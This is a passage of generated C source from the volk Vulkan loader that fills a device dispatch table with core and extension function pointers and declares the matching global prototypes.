table->vkDestroyPipelineCache = (PFN_vkDestroyPipelineCache)load(context, "vkDestroyPipelineCache");
table->vkDestroyPipelineLayout = (PFN_vkDestroyPipelineLayout)load(context, "vkDestroyPipelineLayout");
table->vkDestroyQueryPool = (PFN_vkDestroyQueryPool)load(context, "vkDestroyQueryPool");
table->vkDestroyRenderPass = (PFN_vkDestroyRenderPass)load(context, "vkDestroyRenderPass");
table->vkDestroySampler = (PFN_vkDestroySampler)load(context, "vkDestroySampler");
table->vkDestroySemaphore = (PFN_vkDestroySemaphore)load(context, "vkDestroySemaphore");
table->vkDestroyShaderModule = (PFN_vkDestroyShaderModule)load(context, "vkDestroyShaderModule");
table->vkDeviceWaitIdle = (PFN_vkDeviceWaitIdle)load(context, "vkDeviceWaitIdle");
table->vkEndCommandBuffer = (PFN_vkEndCommandBuffer)load(context, "vkEndCommandBuffer");
table->vkFlushMappedMemoryRanges = (PFN_vkFlushMappedMemoryRanges)load(context, "vkFlushMappedMemoryRanges");
table->vkFreeCommandBuffers = (PFN_vkFreeCommandBuffers)load(context, "vkFreeCommandBuffers");
table->vkFreeDescriptorSets = (PFN_vkFreeDescriptorSets)load(context, "vkFreeDescriptorSets");
table->vkFreeMemory = (PFN_vkFreeMemory)load(context, "vkFreeMemory");
table->vkGetBufferMemoryRequirements = (PFN_vkGetBufferMemoryRequirements)load(context, "vkGetBufferMemoryRequirements");
table->vkGetDeviceMemoryCommitment = (PFN_vkGetDeviceMemoryCommitment)load(context, "vkGetDeviceMemoryCommitment");
table->vkGetDeviceQueue = (PFN_vkGetDeviceQueue)load(context, "vkGetDeviceQueue");
table->vkGetEventStatus = (PFN_vkGetEventStatus)load(context, "vkGetEventStatus");
table->vkGetFenceStatus = (PFN_vkGetFenceStatus)load(context, "vkGetFenceStatus");
table->vkGetImageMemoryRequirements = (PFN_vkGetImageMemoryRequirements)load(context, "vkGetImageMemoryRequirements");
table->vkGetImageSparseMemoryRequirements = (PFN_vkGetImageSparseMemoryRequirements)load(context, "vkGetImageSparseMemoryRequirements");
table->vkGetImageSubresourceLayout = (PFN_vkGetImageSubresourceLayout)load(context, "vkGetImageSubresourceLayout");
table->vkGetPipelineCacheData = (PFN_vkGetPipelineCacheData)load(context, "vkGetPipelineCacheData");
table->vkGetQueryPoolResults = (PFN_vkGetQueryPoolResults)load(context, "vkGetQueryPoolResults");
table->vkGetRenderAreaGranularity = (PFN_vkGetRenderAreaGranularity)load(context, "vkGetRenderAreaGranularity");
table->vkInvalidateMappedMemoryRanges = (PFN_vkInvalidateMappedMemoryRanges)load(context, "vkInvalidateMappedMemoryRanges");
table->vkMapMemory = (PFN_vkMapMemory)load(context, "vkMapMemory");
table->vkMergePipelineCaches = (PFN_vkMergePipelineCaches)load(context, "vkMergePipelineCaches");
table->vkQueueBindSparse = (PFN_vkQueueBindSparse)load(context, "vkQueueBindSparse");
table->vkQueueSubmit = (PFN_vkQueueSubmit)load(context, "vkQueueSubmit");
table->vkQueueWaitIdle = (PFN_vkQueueWaitIdle)load(context, "vkQueueWaitIdle");
table->vkResetCommandBuffer = (PFN_vkResetCommandBuffer)load(context, "vkResetCommandBuffer");
table->vkResetCommandPool = (PFN_vkResetCommandPool)load(context, "vkResetCommandPool");
table->vkResetDescriptorPool = (PFN_vkResetDescriptorPool)load(context, "vkResetDescriptorPool");
table->vkResetEvent = (PFN_vkResetEvent)load(context, "vkResetEvent");
table->vkResetFences = (PFN_vkResetFences)load(context, "vkResetFences");
table->vkSetEvent = (PFN_vkSetEvent)load(context, "vkSetEvent");
table->vkUnmapMemory = (PFN_vkUnmapMemory)load(context, "vkUnmapMemory");
table->vkUpdateDescriptorSets = (PFN_vkUpdateDescriptorSets)load(context, "vkUpdateDescriptorSets");
table->vkWaitForFences = (PFN_vkWaitForFences)load(context, "vkWaitForFences");
#endif /* defined(VK_VERSION_1_0) */
#if defined(VK_VERSION_1_1)
table->vkBindBufferMemory2 = (PFN_vkBindBufferMemory2)load(context, "vkBindBufferMemory2");
table->vkBindImageMemory2 = (PFN_vkBindImageMemory2)load(context, "vkBindImageMemory2");
table->vkCmdDispatchBase = (PFN_vkCmdDispatchBase)load(context, "vkCmdDispatchBase");
table->vkCmdSetDeviceMask = (PFN_vkCmdSetDeviceMask)load(context, "vkCmdSetDeviceMask");
table->vkCreateDescriptorUpdateTemplate = (PFN_vkCreateDescriptorUpdateTemplate)load(context, "vkCreateDescriptorUpdateTemplate");
table->vkCreateSamplerYcbcrConversion = (PFN_vkCreateSamplerYcbcrConversion)load(context, "vkCreateSamplerYcbcrConversion");
table->vkDestroyDescriptorUpdateTemplate = (PFN_vkDestroyDescriptorUpdateTemplate)load(context, "vkDestroyDescriptorUpdateTemplate");
table->vkDestroySamplerYcbcrConversion = (PFN_vkDestroySamplerYcbcrConversion)load(context, "vkDestroySamplerYcbcrConversion");
table->vkGetBufferMemoryRequirements2 = (PFN_vkGetBufferMemoryRequirements2)load(context, "vkGetBufferMemoryRequirements2");
table->vkGetDescriptorSetLayoutSupport = (PFN_vkGetDescriptorSetLayoutSupport)load(context, "vkGetDescriptorSetLayoutSupport");
table->vkGetDeviceGroupPeerMemoryFeatures = (PFN_vkGetDeviceGroupPeerMemoryFeatures)load(context, "vkGetDeviceGroupPeerMemoryFeatures");
table->vkGetDeviceQueue2 = (PFN_vkGetDeviceQueue2)load(context, "vkGetDeviceQueue2");
table->vkGetImageMemoryRequirements2 = (PFN_vkGetImageMemoryRequirements2)load(context, "vkGetImageMemoryRequirements2");
table->vkGetImageSparseMemoryRequirements2 = (PFN_vkGetImageSparseMemoryRequirements2)load(context, "vkGetImageSparseMemoryRequirements2");
table->vkTrimCommandPool = (PFN_vkTrimCommandPool)load(context, "vkTrimCommandPool");
table->vkUpdateDescriptorSetWithTemplate = (PFN_vkUpdateDescriptorSetWithTemplate)load(context, "vkUpdateDescriptorSetWithTemplate");
#endif /* defined(VK_VERSION_1_1) */
#if defined(VK_AMD_buffer_marker)
table->vkCmdWriteBufferMarkerAMD = (PFN_vkCmdWriteBufferMarkerAMD)load(context, "vkCmdWriteBufferMarkerAMD");
#endif /* defined(VK_AMD_buffer_marker) */
#if defined(VK_AMD_draw_indirect_count)
table->vkCmdDrawIndexedIndirectCountAMD = (PFN_vkCmdDrawIndexedIndirectCountAMD)load(context, "vkCmdDrawIndexedIndirectCountAMD");
table->vkCmdDrawIndirectCountAMD = (PFN_vkCmdDrawIndirectCountAMD)load(context, "vkCmdDrawIndirectCountAMD");
#endif /* defined(VK_AMD_draw_indirect_count) */
#if defined(VK_AMD_shader_info)
table->vkGetShaderInfoAMD = (PFN_vkGetShaderInfoAMD)load(context, "vkGetShaderInfoAMD");
#endif /* defined(VK_AMD_shader_info) */
#if defined(VK_ANDROID_external_memory_android_hardware_buffer)
table->vkGetAndroidHardwareBufferPropertiesANDROID = (PFN_vkGetAndroidHardwareBufferPropertiesANDROID)load(context, "vkGetAndroidHardwareBufferPropertiesANDROID");
table->vkGetMemoryAndroidHardwareBufferANDROID = (PFN_vkGetMemoryAndroidHardwareBufferANDROID)load(context, "vkGetMemoryAndroidHardwareBufferANDROID");
#endif /* defined(VK_ANDROID_external_memory_android_hardware_buffer) */
#if defined(VK_ANDROID_native_buffer)
table->vkAcquireImageANDROID = (PFN_vkAcquireImageANDROID)load(context, "vkAcquireImageANDROID");
table->vkGetSwapchainGrallocUsageANDROID = (PFN_vkGetSwapchainGrallocUsageANDROID)load(context, "vkGetSwapchainGrallocUsageANDROID");
table->vkQueueSignalReleaseImageANDROID = (PFN_vkQueueSignalReleaseImageANDROID)load(context, "vkQueueSignalReleaseImageANDROID");
#endif /* defined(VK_ANDROID_native_buffer) */
#if defined(VK_EXT_debug_marker)
table->vkCmdDebugMarkerBeginEXT = (PFN_vkCmdDebugMarkerBeginEXT)load(context, "vkCmdDebugMarkerBeginEXT");
table->vkCmdDebugMarkerEndEXT = (PFN_vkCmdDebugMarkerEndEXT)load(context, "vkCmdDebugMarkerEndEXT");
table->vkCmdDebugMarkerInsertEXT = (PFN_vkCmdDebugMarkerInsertEXT)load(context, "vkCmdDebugMarkerInsertEXT");
table->vkDebugMarkerSetObjectNameEXT = (PFN_vkDebugMarkerSetObjectNameEXT)load(context, "vkDebugMarkerSetObjectNameEXT");
table->vkDebugMarkerSetObjectTagEXT = (PFN_vkDebugMarkerSetObjectTagEXT)load(context, "vkDebugMarkerSetObjectTagEXT");
#endif /* defined(VK_EXT_debug_marker) */
#if defined(VK_EXT_debug_utils)
table->vkCmdBeginDebugUtilsLabelEXT = (PFN_vkCmdBeginDebugUtilsLabelEXT)load(context, "vkCmdBeginDebugUtilsLabelEXT");
table->vkCmdEndDebugUtilsLabelEXT = (PFN_vkCmdEndDebugUtilsLabelEXT)load(context, "vkCmdEndDebugUtilsLabelEXT");
table->vkCmdInsertDebugUtilsLabelEXT = (PFN_vkCmdInsertDebugUtilsLabelEXT)load(context, "vkCmdInsertDebugUtilsLabelEXT");
table->vkQueueBeginDebugUtilsLabelEXT = (PFN_vkQueueBeginDebugUtilsLabelEXT)load(context, "vkQueueBeginDebugUtilsLabelEXT");
table->vkQueueEndDebugUtilsLabelEXT = (PFN_vkQueueEndDebugUtilsLabelEXT)load(context, "vkQueueEndDebugUtilsLabelEXT");
table->vkQueueInsertDebugUtilsLabelEXT = (PFN_vkQueueInsertDebugUtilsLabelEXT)load(context, "vkQueueInsertDebugUtilsLabelEXT");
table->vkSetDebugUtilsObjectNameEXT = (PFN_vkSetDebugUtilsObjectNameEXT)load(context, "vkSetDebugUtilsObjectNameEXT");
table->vkSetDebugUtilsObjectTagEXT = (PFN_vkSetDebugUtilsObjectTagEXT)load(context, "vkSetDebugUtilsObjectTagEXT");
#endif /* defined(VK_EXT_debug_utils) */
#if defined(VK_EXT_discard_rectangles)
table->vkCmdSetDiscardRectangleEXT = (PFN_vkCmdSetDiscardRectangleEXT)load(context, "vkCmdSetDiscardRectangleEXT");
#endif /* defined(VK_EXT_discard_rectangles) */
#if defined(VK_EXT_display_control)
table->vkDisplayPowerControlEXT = (PFN_vkDisplayPowerControlEXT)load(context, "vkDisplayPowerControlEXT");
table->vkGetSwapchainCounterEXT = (PFN_vkGetSwapchainCounterEXT)load(context, "vkGetSwapchainCounterEXT");
table->vkRegisterDeviceEventEXT = (PFN_vkRegisterDeviceEventEXT)load(context, "vkRegisterDeviceEventEXT");
table->vkRegisterDisplayEventEXT = (PFN_vkRegisterDisplayEventEXT)load(context, "vkRegisterDisplayEventEXT");
#endif /* defined(VK_EXT_display_control) */
#if defined(VK_EXT_external_memory_host)
table->vkGetMemoryHostPointerPropertiesEXT = (PFN_vkGetMemoryHostPointerPropertiesEXT)load(context, "vkGetMemoryHostPointerPropertiesEXT");
#endif /* defined(VK_EXT_external_memory_host) */
#if defined(VK_EXT_hdr_metadata)
table->vkSetHdrMetadataEXT = (PFN_vkSetHdrMetadataEXT)load(context, "vkSetHdrMetadataEXT");
#endif /* defined(VK_EXT_hdr_metadata) */
#if defined(VK_EXT_sample_locations)
table->vkCmdSetSampleLocationsEXT = (PFN_vkCmdSetSampleLocationsEXT)load(context, "vkCmdSetSampleLocationsEXT");
#endif /* defined(VK_EXT_sample_locations) */
#if defined(VK_EXT_validation_cache)
table->vkCreateValidationCacheEXT = (PFN_vkCreateValidationCacheEXT)load(context, "vkCreateValidationCacheEXT");
table->vkDestroyValidationCacheEXT = (PFN_vkDestroyValidationCacheEXT)load(context, "vkDestroyValidationCacheEXT");
table->vkGetValidationCacheDataEXT = (PFN_vkGetValidationCacheDataEXT)load(context, "vkGetValidationCacheDataEXT");
table->vkMergeValidationCachesEXT = (PFN_vkMergeValidationCachesEXT)load(context, "vkMergeValidationCachesEXT");
#endif /* defined(VK_EXT_validation_cache) */
#if defined(VK_GOOGLE_display_timing)
table->vkGetPastPresentationTimingGOOGLE = (PFN_vkGetPastPresentationTimingGOOGLE)load(context, "vkGetPastPresentationTimingGOOGLE");
table->vkGetRefreshCycleDurationGOOGLE = (PFN_vkGetRefreshCycleDurationGOOGLE)load(context, "vkGetRefreshCycleDurationGOOGLE");
#endif /* defined(VK_GOOGLE_display_timing) */
#if defined(VK_KHR_bind_memory2)
table->vkBindBufferMemory2KHR = (PFN_vkBindBufferMemory2KHR)load(context, "vkBindBufferMemory2KHR");
table->vkBindImageMemory2KHR = (PFN_vkBindImageMemory2KHR)load(context, "vkBindImageMemory2KHR");
#endif /* defined(VK_KHR_bind_memory2) */
#if defined(VK_KHR_descriptor_update_template)
table->vkCreateDescriptorUpdateTemplateKHR = (PFN_vkCreateDescriptorUpdateTemplateKHR)load(context, "vkCreateDescriptorUpdateTemplateKHR");
table->vkDestroyDescriptorUpdateTemplateKHR = (PFN_vkDestroyDescriptorUpdateTemplateKHR)load(context, "vkDestroyDescriptorUpdateTemplateKHR");
table->vkUpdateDescriptorSetWithTemplateKHR = (PFN_vkUpdateDescriptorSetWithTemplateKHR)load(context, "vkUpdateDescriptorSetWithTemplateKHR");
#endif /* defined(VK_KHR_descriptor_update_template) */
#if defined(VK_KHR_device_group)
table->vkCmdDispatchBaseKHR = (PFN_vkCmdDispatchBaseKHR)load(context, "vkCmdDispatchBaseKHR");
table->vkCmdSetDeviceMaskKHR = (PFN_vkCmdSetDeviceMaskKHR)load(context, "vkCmdSetDeviceMaskKHR");
table->vkGetDeviceGroupPeerMemoryFeaturesKHR = (PFN_vkGetDeviceGroupPeerMemoryFeaturesKHR)load(context, "vkGetDeviceGroupPeerMemoryFeaturesKHR");
#endif /* defined(VK_KHR_device_group) */
#if defined(VK_KHR_display_swapchain)
table->vkCreateSharedSwapchainsKHR = (PFN_vkCreateSharedSwapchainsKHR)load(context, "vkCreateSharedSwapchainsKHR");
#endif /* defined(VK_KHR_display_swapchain) */
#if defined(VK_KHR_draw_indirect_count)
table->vkCmdDrawIndexedIndirectCountKHR = (PFN_vkCmdDrawIndexedIndirectCountKHR)load(context, "vkCmdDrawIndexedIndirectCountKHR");
table->vkCmdDrawIndirectCountKHR = (PFN_vkCmdDrawIndirectCountKHR)load(context, "vkCmdDrawIndirectCountKHR");
#endif /* defined(VK_KHR_draw_indirect_count) */
#if defined(VK_KHR_external_fence_fd)
table->vkGetFenceFdKHR = (PFN_vkGetFenceFdKHR)load(context, "vkGetFenceFdKHR");
table->vkImportFenceFdKHR = (PFN_vkImportFenceFdKHR)load(context, "vkImportFenceFdKHR");
#endif /* defined(VK_KHR_external_fence_fd) */
#if defined(VK_KHR_external_fence_win32)
table->vkGetFenceWin32HandleKHR = (PFN_vkGetFenceWin32HandleKHR)load(context, "vkGetFenceWin32HandleKHR");
table->vkImportFenceWin32HandleKHR = (PFN_vkImportFenceWin32HandleKHR)load(context, "vkImportFenceWin32HandleKHR");
#endif /* defined(VK_KHR_external_fence_win32) */
#if defined(VK_KHR_external_memory_fd)
table->vkGetMemoryFdKHR = (PFN_vkGetMemoryFdKHR)load(context, "vkGetMemoryFdKHR");
table->vkGetMemoryFdPropertiesKHR = (PFN_vkGetMemoryFdPropertiesKHR)load(context, "vkGetMemoryFdPropertiesKHR");
#endif /* defined(VK_KHR_external_memory_fd) */
#if defined(VK_KHR_external_memory_win32)
table->vkGetMemoryWin32HandleKHR = (PFN_vkGetMemoryWin32HandleKHR)load(context, "vkGetMemoryWin32HandleKHR");
table->vkGetMemoryWin32HandlePropertiesKHR = (PFN_vkGetMemoryWin32HandlePropertiesKHR)load(context, "vkGetMemoryWin32HandlePropertiesKHR");
#endif /* defined(VK_KHR_external_memory_win32) */
#if defined(VK_KHR_external_semaphore_fd)
table->vkGetSemaphoreFdKHR = (PFN_vkGetSemaphoreFdKHR)load(context, "vkGetSemaphoreFdKHR");
table->vkImportSemaphoreFdKHR = (PFN_vkImportSemaphoreFdKHR)load(context, "vkImportSemaphoreFdKHR");
#endif /* defined(VK_KHR_external_semaphore_fd) */
#if defined(VK_KHR_external_semaphore_win32)
table->vkGetSemaphoreWin32HandleKHR = (PFN_vkGetSemaphoreWin32HandleKHR)load(context, "vkGetSemaphoreWin32HandleKHR");
table->vkImportSemaphoreWin32HandleKHR = (PFN_vkImportSemaphoreWin32HandleKHR)load(context, "vkImportSemaphoreWin32HandleKHR");
#endif /* defined(VK_KHR_external_semaphore_win32) */
#if defined(VK_KHR_get_memory_requirements2)
table->vkGetBufferMemoryRequirements2KHR = (PFN_vkGetBufferMemoryRequirements2KHR)load(context, "vkGetBufferMemoryRequirements2KHR");
table->vkGetImageMemoryRequirements2KHR = (PFN_vkGetImageMemoryRequirements2KHR)load(context, "vkGetImageMemoryRequirements2KHR");
table->vkGetImageSparseMemoryRequirements2KHR = (PFN_vkGetImageSparseMemoryRequirements2KHR)load(context, "vkGetImageSparseMemoryRequirements2KHR");
#endif /* defined(VK_KHR_get_memory_requirements2) */
#if defined(VK_KHR_maintenance1)
table->vkTrimCommandPoolKHR = (PFN_vkTrimCommandPoolKHR)load(context, "vkTrimCommandPoolKHR");
#endif /* defined(VK_KHR_maintenance1) */
#if defined(VK_KHR_maintenance3)
table->vkGetDescriptorSetLayoutSupportKHR = (PFN_vkGetDescriptorSetLayoutSupportKHR)load(context, "vkGetDescriptorSetLayoutSupportKHR");
#endif /* defined(VK_KHR_maintenance3) */
#if defined(VK_KHR_push_descriptor)
table->vkCmdPushDescriptorSetKHR = (PFN_vkCmdPushDescriptorSetKHR)load(context, "vkCmdPushDescriptorSetKHR");
#endif /* defined(VK_KHR_push_descriptor) */
#if defined(VK_KHR_sampler_ycbcr_conversion)
table->vkCreateSamplerYcbcrConversionKHR = (PFN_vkCreateSamplerYcbcrConversionKHR)load(context, "vkCreateSamplerYcbcrConversionKHR");
table->vkDestroySamplerYcbcrConversionKHR = (PFN_vkDestroySamplerYcbcrConversionKHR)load(context, "vkDestroySamplerYcbcrConversionKHR");
#endif /* defined(VK_KHR_sampler_ycbcr_conversion) */
#if defined(VK_KHR_shared_presentable_image)
table->vkGetSwapchainStatusKHR = (PFN_vkGetSwapchainStatusKHR)load(context, "vkGetSwapchainStatusKHR");
#endif /* defined(VK_KHR_shared_presentable_image) */
#if defined(VK_KHR_swapchain)
table->vkAcquireNextImageKHR = (PFN_vkAcquireNextImageKHR)load(context, "vkAcquireNextImageKHR");
table->vkCreateSwapchainKHR = (PFN_vkCreateSwapchainKHR)load(context, "vkCreateSwapchainKHR");
table->vkDestroySwapchainKHR = (PFN_vkDestroySwapchainKHR)load(context, "vkDestroySwapchainKHR");
table->vkGetSwapchainImagesKHR = (PFN_vkGetSwapchainImagesKHR)load(context, "vkGetSwapchainImagesKHR");
table->vkQueuePresentKHR = (PFN_vkQueuePresentKHR)load(context, "vkQueuePresentKHR");
#endif /* defined(VK_KHR_swapchain) */
#if defined(VK_NVX_device_generated_commands)
table->vkCmdProcessCommandsNVX = (PFN_vkCmdProcessCommandsNVX)load(context, "vkCmdProcessCommandsNVX");
table->vkCmdReserveSpaceForCommandsNVX = (PFN_vkCmdReserveSpaceForCommandsNVX)load(context, "vkCmdReserveSpaceForCommandsNVX");
table->vkCreateIndirectCommandsLayoutNVX = (PFN_vkCreateIndirectCommandsLayoutNVX)load(context, "vkCreateIndirectCommandsLayoutNVX");
table->vkCreateObjectTableNVX = (PFN_vkCreateObjectTableNVX)load(context, "vkCreateObjectTableNVX");
table->vkDestroyIndirectCommandsLayoutNVX = (PFN_vkDestroyIndirectCommandsLayoutNVX)load(context, "vkDestroyIndirectCommandsLayoutNVX");
table->vkDestroyObjectTableNVX = (PFN_vkDestroyObjectTableNVX)load(context, "vkDestroyObjectTableNVX");
table->vkRegisterObjectsNVX = (PFN_vkRegisterObjectsNVX)load(context, "vkRegisterObjectsNVX");
table->vkUnregisterObjectsNVX = (PFN_vkUnregisterObjectsNVX)load(context, "vkUnregisterObjectsNVX");
#endif /* defined(VK_NVX_device_generated_commands) */
#if defined(VK_NV_clip_space_w_scaling)
table->vkCmdSetViewportWScalingNV = (PFN_vkCmdSetViewportWScalingNV)load(context, "vkCmdSetViewportWScalingNV");
#endif /* defined(VK_NV_clip_space_w_scaling) */
#if defined(VK_NV_external_memory_win32)
table->vkGetMemoryWin32HandleNV = (PFN_vkGetMemoryWin32HandleNV)load(context, "vkGetMemoryWin32HandleNV");
#endif /* defined(VK_NV_external_memory_win32) */
#if (defined(VK_KHR_descriptor_update_template) && defined(VK_KHR_push_descriptor)) || (defined(VK_KHR_push_descriptor) && defined(VK_VERSION_1_1))
table->vkCmdPushDescriptorSetWithTemplateKHR = (PFN_vkCmdPushDescriptorSetWithTemplateKHR)load(context, "vkCmdPushDescriptorSetWithTemplateKHR");
#endif /* (defined(VK_KHR_descriptor_update_template) && defined(VK_KHR_push_descriptor)) || (defined(VK_KHR_push_descriptor) && defined(VK_VERSION_1_1)) */
#if (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1))
table->vkGetDeviceGroupPresentCapabilitiesKHR = (PFN_vkGetDeviceGroupPresentCapabilitiesKHR)load(context, "vkGetDeviceGroupPresentCapabilitiesKHR");
table->vkGetDeviceGroupSurfacePresentModesKHR = (PFN_vkGetDeviceGroupSurfacePresentModesKHR)load(context, "vkGetDeviceGroupSurfacePresentModesKHR");
#endif /* (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1)) */
#if (defined(VK_KHR_device_group) && defined(VK_KHR_swapchain)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1))
table->vkAcquireNextImage2KHR = (PFN_vkAcquireNextImage2KHR)load(context, "vkAcquireNextImage2KHR");
#endif /* (defined(VK_KHR_device_group) && defined(VK_KHR_swapchain)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1)) */
/* VOLK_GENERATE_LOAD_DEVICE_TABLE */
}
#ifdef __GNUC__
# pragma GCC visibility push(hidden)
#endif
/* VOLK_GENERATE_PROTOTYPES_C */
#if defined(VK_VERSION_1_0)
PFN_vkAllocateCommandBuffers vkAllocateCommandBuffers;
PFN_vkAllocateDescriptorSets vkAllocateDescriptorSets;
PFN_vkAllocateMemory vkAllocateMemory;
PFN_vkBeginCommandBuffer vkBeginCommandBuffer;
PFN_vkBindBufferMemory vkBindBufferMemory;
PFN_vkBindImageMemory vkBindImageMemory;
PFN_vkCmdBeginQuery vkCmdBeginQuery;
PFN_vkCmdBeginRenderPass vkCmdBeginRenderPass;
PFN_vkCmdBindDescriptorSets vkCmdBindDescriptorSets;
PFN_vkCmdBindIndexBuffer vkCmdBindIndexBuffer;
PFN_vkCmdBindPipeline vkCmdBindPipeline;
PFN_vkCmdBindVertexBuffers vkCmdBindVertexBuffers;
PFN_vkCmdBlitImage vkCmdBlitImage;
PFN_vkCmdClearAttachments vkCmdClearAttachments;
PFN_vkCmdClearColorImage vkCmdClearColorImage;
PFN_vkCmdClearDepthStencilImage vkCmdClearDepthStencilImage;
PFN_vkCmdCopyBuffer vkCmdCopyBuffer;
PFN_vkCmdCopyBufferToImage vkCmdCopyBufferToImage;
PFN_vkCmdCopyImage vkCmdCopyImage;
PFN_vkCmdCopyImageToBuffer vkCmdCopyImageToBuffer;
PFN_vkCmdCopyQueryPoolResults vkCmdCopyQueryPoolResults;
PFN_vkCmdDispatch vkCmdDispatch;
PFN_vkCmdDispatchIndirect vkCmdDispatchIndirect;
PFN_vkCmdDraw vkCmdDraw;
PFN_vkCmdDrawIndexed vkCmdDrawIndexed;
PFN_vkCmdDrawIndexedIndirect vkCmdDrawIndexedIndirect;
PFN_vkCmdDrawIndirect vkCmdDrawIndirect;
PFN_vkCmdEndQuery vkCmdEndQuery;
PFN_vkCmdEndRenderPass vkCmdEndRenderPass;
PFN_vkCmdExecuteCommands vkCmdExecuteCommands;
PFN_vkCmdFillBuffer vkCmdFillBuffer;
PFN_vkCmdNextSubpass vkCmdNextSubpass;
PFN_vkCmdPipelineBarrier vkCmdPipelineBarrier;
PFN_vkCmdPushConstants vkCmdPushConstants;
PFN_vkCmdResetEvent vkCmdResetEvent;
PFN_vkCmdResetQueryPool vkCmdResetQueryPool;
PFN_vkCmdResolveImage vkCmdResolveImage;
PFN_vkCmdSetBlendConstants vkCmdSetBlendConstants;
PFN_vkCmdSetDepthBias vkCmdSetDepthBias;
PFN_vkCmdSetDepthBounds vkCmdSetDepthBounds;
PFN_vkCmdSetEvent vkCmdSetEvent;
PFN_vkCmdSetLineWidth vkCmdSetLineWidth;
PFN_vkCmdSetScissor vkCmdSetScissor;
PFN_vkCmdSetStencilCompareMask vkCmdSetStencilCompareMask;
PFN_vkCmdSetStencilReference vkCmdSetStencilReference;
PFN_vkCmdSetStencilWriteMask vkCmdSetStencilWriteMask;
PFN_vkCmdSetViewport vkCmdSetViewport;
PFN_vkCmdUpdateBuffer vkCmdUpdateBuffer;
PFN_vkCmdWaitEvents vkCmdWaitEvents;
PFN_vkCmdWriteTimestamp vkCmdWriteTimestamp;
PFN_vkCreateBuffer vkCreateBuffer;
PFN_vkCreateBufferView vkCreateBufferView;
PFN_vkCreateCommandPool vkCreateCommandPool;
PFN_vkCreateComputePipelines vkCreateComputePipelines;
PFN_vkCreateDescriptorPool vkCreateDescriptorPool;
PFN_vkCreateDescriptorSetLayout vkCreateDescriptorSetLayout;
PFN_vkCreateDevice vkCreateDevice;
PFN_vkCreateEvent vkCreateEvent;
PFN_vkCreateFence vkCreateFence;
PFN_vkCreateFramebuffer vkCreateFramebuffer;
PFN_vkCreateGraphicsPipelines vkCreateGraphicsPipelines;
PFN_vkCreateImage vkCreateImage;
PFN_vkCreateImageView vkCreateImageView;
PFN_vkCreateInstance vkCreateInstance;
PFN_vkCreatePipelineCache vkCreatePipelineCache;
PFN_vkCreatePipelineLayout vkCreatePipelineLayout;
PFN_vkCreateQueryPool vkCreateQueryPool;
PFN_vkCreateRenderPass vkCreateRenderPass;
PFN_vkCreateSampler vkCreateSampler;
PFN_vkCreateSemaphore vkCreateSemaphore;
PFN_vkCreateShaderModule vkCreateShaderModule;
PFN_vkDestroyBuffer vkDestroyBuffer;
PFN_vkDestroyBufferView vkDestroyBufferView;
PFN_vkDestroyCommandPool vkDestroyCommandPool;
PFN_vkDestroyDescriptorPool vkDestroyDescriptorPool;
PFN_vkDestroyDescriptorSetLayout vkDestroyDescriptorSetLayout;
PFN_vkDestroyDevice vkDestroyDevice;
PFN_vkDestroyEvent vkDestroyEvent;
PFN_vkDestroyFence vkDestroyFence;
PFN_vkDestroyFramebuffer vkDestroyFramebuffer;
PFN_vkDestroyImage vkDestroyImage;
PFN_vkDestroyImageView vkDestroyImageView;
PFN_vkDestroyInstance vkDestroyInstance;
PFN_vkDestroyPipeline vkDestroyPipeline;
PFN_vkDestroyPipelineCache vkDestroyPipelineCache;
PFN_vkDestroyPipelineLayout vkDestroyPipelineLayout;
PFN_vkDestroyQueryPool vkDestroyQueryPool;
PFN_vkDestroyRenderPass vkDestroyRenderPass;
PFN_vkDestroySampler vkDestroySampler;
PFN_vkDestroySemaphore vkDestroySemaphore;
PFN_vkDestroyShaderModule vkDestroyShaderModule;
PFN_vkDeviceWaitIdle vkDeviceWaitIdle;
PFN_vkEndCommandBuffer vkEndCommandBuffer;
PFN_vkEnumerateDeviceExtensionProperties vkEnumerateDeviceExtensionProperties;
PFN_vkEnumerateDeviceLayerProperties vkEnumerateDeviceLayerProperties;
PFN_vkEnumerateInstanceExtensionProperties vkEnumerateInstanceExtensionProperties;
PFN_vkEnumerateInstanceLayerProperties vkEnumerateInstanceLayerProperties;
PFN_vkEnumeratePhysicalDevices vkEnumeratePhysicalDevices;
PFN_vkFlushMappedMemoryRanges vkFlushMappedMemoryRanges;
PFN_vkFreeCommandBuffers vkFreeCommandBuffers;
PFN_vkFreeDescriptorSets vkFreeDescriptorSets;
PFN_vkFreeMemory vkFreeMemory;
PFN_vkGetBufferMemoryRequirements vkGetBufferMemoryRequirements;
PFN_vkGetDeviceMemoryCommitment vkGetDeviceMemoryCommitment;
PFN_vkGetDeviceProcAddr vkGetDeviceProcAddr;
PFN_vkGetDeviceQueue vkGetDeviceQueue;
PFN_vkGetEventStatus vkGetEventStatus;
PFN_vkGetFenceStatus vkGetFenceStatus;
PFN_vkGetImageMemoryRequirements vkGetImageMemoryRequirements;
PFN_vkGetImageSparseMemoryRequirements vkGetImageSparseMemoryRequirements;
PFN_vkGetImageSubresourceLayout vkGetImageSubresourceLayout;
PFN_vkGetInstanceProcAddr vkGetInstanceProcAddr;
PFN_vkGetPhysicalDeviceFeatures vkGetPhysicalDeviceFeatures;
PFN_vkGetPhysicalDeviceFormatProperties vkGetPhysicalDeviceFormatProperties;
PFN_vkGetPhysicalDeviceImageFormatProperties vkGetPhysicalDeviceImageFormatProperties;
PFN_vkGetPhysicalDeviceMemoryProperties vkGetPhysicalDeviceMemoryProperties;
PFN_vkGetPhysicalDeviceProperties vkGetPhysicalDeviceProperties;
PFN_vkGetPhysicalDeviceQueueFamilyProperties vkGetPhysicalDeviceQueueFamilyProperties;
PFN_vkGetPhysicalDeviceSparseImageFormatProperties vkGetPhysicalDeviceSparseImageFormatProperties;
PFN_vkGetPipelineCacheData vkGetPipelineCacheData;
PFN_vkGetQueryPoolResults vkGetQueryPoolResults;
PFN_vkGetRenderAreaGranularity vkGetRenderAreaGranularity;
PFN_vkInvalidateMappedMemoryRanges vkInvalidateMappedMemoryRanges;
PFN_vkMapMemory vkMapMemory;
PFN_vkMergePipelineCaches vkMergePipelineCaches;
PFN_vkQueueBindSparse vkQueueBindSparse;
PFN_vkQueueSubmit vkQueueSubmit;
PFN_vkQueueWaitIdle vkQueueWaitIdle;
PFN_vkResetCommandBuffer vkResetCommandBuffer;
